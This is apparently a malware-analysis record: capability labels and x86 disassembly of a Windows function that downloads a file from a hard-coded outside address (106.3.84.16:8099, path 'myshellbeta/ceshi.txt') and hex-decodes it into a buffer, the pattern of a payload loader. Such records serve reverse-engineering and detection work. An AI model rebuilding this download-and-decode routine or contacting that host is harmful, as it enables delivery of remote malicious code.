Function at 0x404c90
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ffcd
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x50
mov eax, dword [0x43d080]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
push 0
push 0
push 0
push 1
push str.User_Agent
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 4
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
mov dword [ebp - 0x5c], esi
test esi, esi
jne 0x404d33
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ecx
mov edx, str.InternetOpen_failed._Error:
mov ecx, 0x43e1e0
call fcn.00401dd0
add esp, 4
mov ecx, eax
call fcn.00406360
push eax
call fcn.00402d00
add esp, 4
xor eax, eax
jmp 0x405028
push 0
push SysReAllocString
push 0
push 0
push str.http:__106.3.84.16:8099_myshellbeta_ceshi.txt
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x40], eax
test eax, eax
jne 0x404d89
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ecx
mov edx, str.InternetOpenUrlA_failed._Error:
mov ecx, 0x43e1e0
call fcn.00401dd0
add esp, 4
mov ecx, eax
call fcn.00406360
push eax
call fcn.00402d00
add esp, 4
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x405028
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x2c]
push ecx
push 0x20000005
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
mov eax, dword [ebp - 0x2c]
xor edi, edi
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
xor ecx, ecx
movq qword [ebp - 0x20], xmm0
mov dword [ebp - 0x3c], edi
lea esi, [eax + 1]
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], ecx
test esi, esi
je 0x404e34
cmp esi, 0x7fffffff
ja 0x405046
cmp esi, 0x1000
jb 0x404e08
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x40504b
push eax
call fcn.0040a27d
add esp, 4
test eax, eax
je 0x405050
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [ebp - 0x3c], edi
mov dword [edi - 4], eax
jmp 0x404e16
push esi
call fcn.0040a27d
add esp, 4
mov dword [ebp - 0x3c], eax
mov edi, eax
push esi
lea eax, [edi + esi]
mov dword [ebp - 0x20], edi
push 0
push edi
mov dword [ebp - 0x18], eax
call fcn.0040c010
mov ecx, dword [ebp - 0x18]
add esp, 0xc
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0
push ecx
push eax
push edi
push dword [ebp - 0x40]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x404e7d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ecx
mov edx, str.InternetReadFile_failed._Error:
mov ecx, 0x43e1e0
call fcn.00401dd0
add esp, 4
mov ecx, eax
call fcn.00406360
push eax
call fcn.00402d00
add esp, 4
jmp 0x404fe4
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x404fe4
mov ecx, dword [ebp - 0x34]
mov byte [edi + eax], 0
mov esi, dword [ebp - 0x30]
shr esi, 1
mov edx, dword [ecx + 4]
mov eax, dword [ecx]
mov dword [ebp - 0x38], edx
sub edx, eax
cmp esi, edx
jae 0x404f0b
add eax, esi
mov dword [ecx + 4], eax
mov esi, ecx
mov ecx, edi
mov dword [ebp - 0x48], 0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404ec3
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x58]
call fcn.00402070
mov eax, dword [esi]
xor esi, esi
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x48], esi
jbe 0x404fb7
mov edi, edx
nop dword [eax + eax]
mov edx, dword [ebp - 0x44]
lea eax, [ebp - 0x58]
cmp edx, 0xf
cmova eax, edi
mov cl, byte [eax + esi]
lea eax, [ecx - 0x30]
cmp al, 9
ja 0x404f42
sub cl, 0x30
jmp 0x404f5c
jbe 0x404ea7
mov eax, dword [ecx + 8]
sub eax, dword [ecx]
cmp esi, eax
jbe 0x404f22
push ecx
push esi
call fcn.004090f0
mov esi, dword [ebp - 0x34]
jmp 0x404ea9
sub esi, edx
push esi
push 0
push dword [ebp - 0x38]
call fcn.0040c010
mov eax, dword [ebp - 0x38]
add esp, 0xc
add eax, esi
mov esi, dword [ebp - 0x34]
mov dword [esi + 4], eax
jmp 0x404ea9
lea eax, [ecx - 0x61]
cmp al, 5
ja 0x404f4e
sub cl, 0x57
jmp 0x404f5c
lea eax, [ecx - 0x41]
cmp al, 5
ja 0x404f5a
sub cl, 0x37
jmp 0x404f5c
xor cl, cl
cmp edx, 0xf
lea eax, [ebp - 0x58]
cmova eax, edi
mov dl, byte [eax + esi + 1]
lea eax, [edx - 0x30]
cmp al, 9
ja 0x404f75
sub dl, 0x30
jmp 0x404f8f
lea eax, [edx - 0x61]
cmp al, 5
ja 0x404f81
sub dl, 0x57
jmp 0x404f8f
lea eax, [edx - 0x41]
cmp al, 5
ja 0x404f8d
sub dl, 0x37
jmp 0x404f8f
xor dl, dl
shl cl, 4
add cl, dl
mov eax, esi
test eax, eax
jns 0x404f9d
add eax, 1
sar eax, 1
mov edx, dword [ebp - 0x38]
add esi, 2
mov byte [eax + edx], cl
cmp esi, dword [ebp - 0x48]
jb 0x404ef0
mov edi, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x404fe4
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404fda
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405050
push ecx
push edx
call fcn.0040a2ad
add esp, 8
push dword [ebp - 0x40]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x5c]
call esi
mov esi, dword [ebp - 0x30]
shr esi, 1
test edi, edi
je 0x405026
mov ecx, dword [ebp - 0x18]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x40501c
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405050
push ecx
push edi
call fcn.0040a2ad
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040a26f
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004090b0
call fcn.00401250
call fcn.0040f08f
int3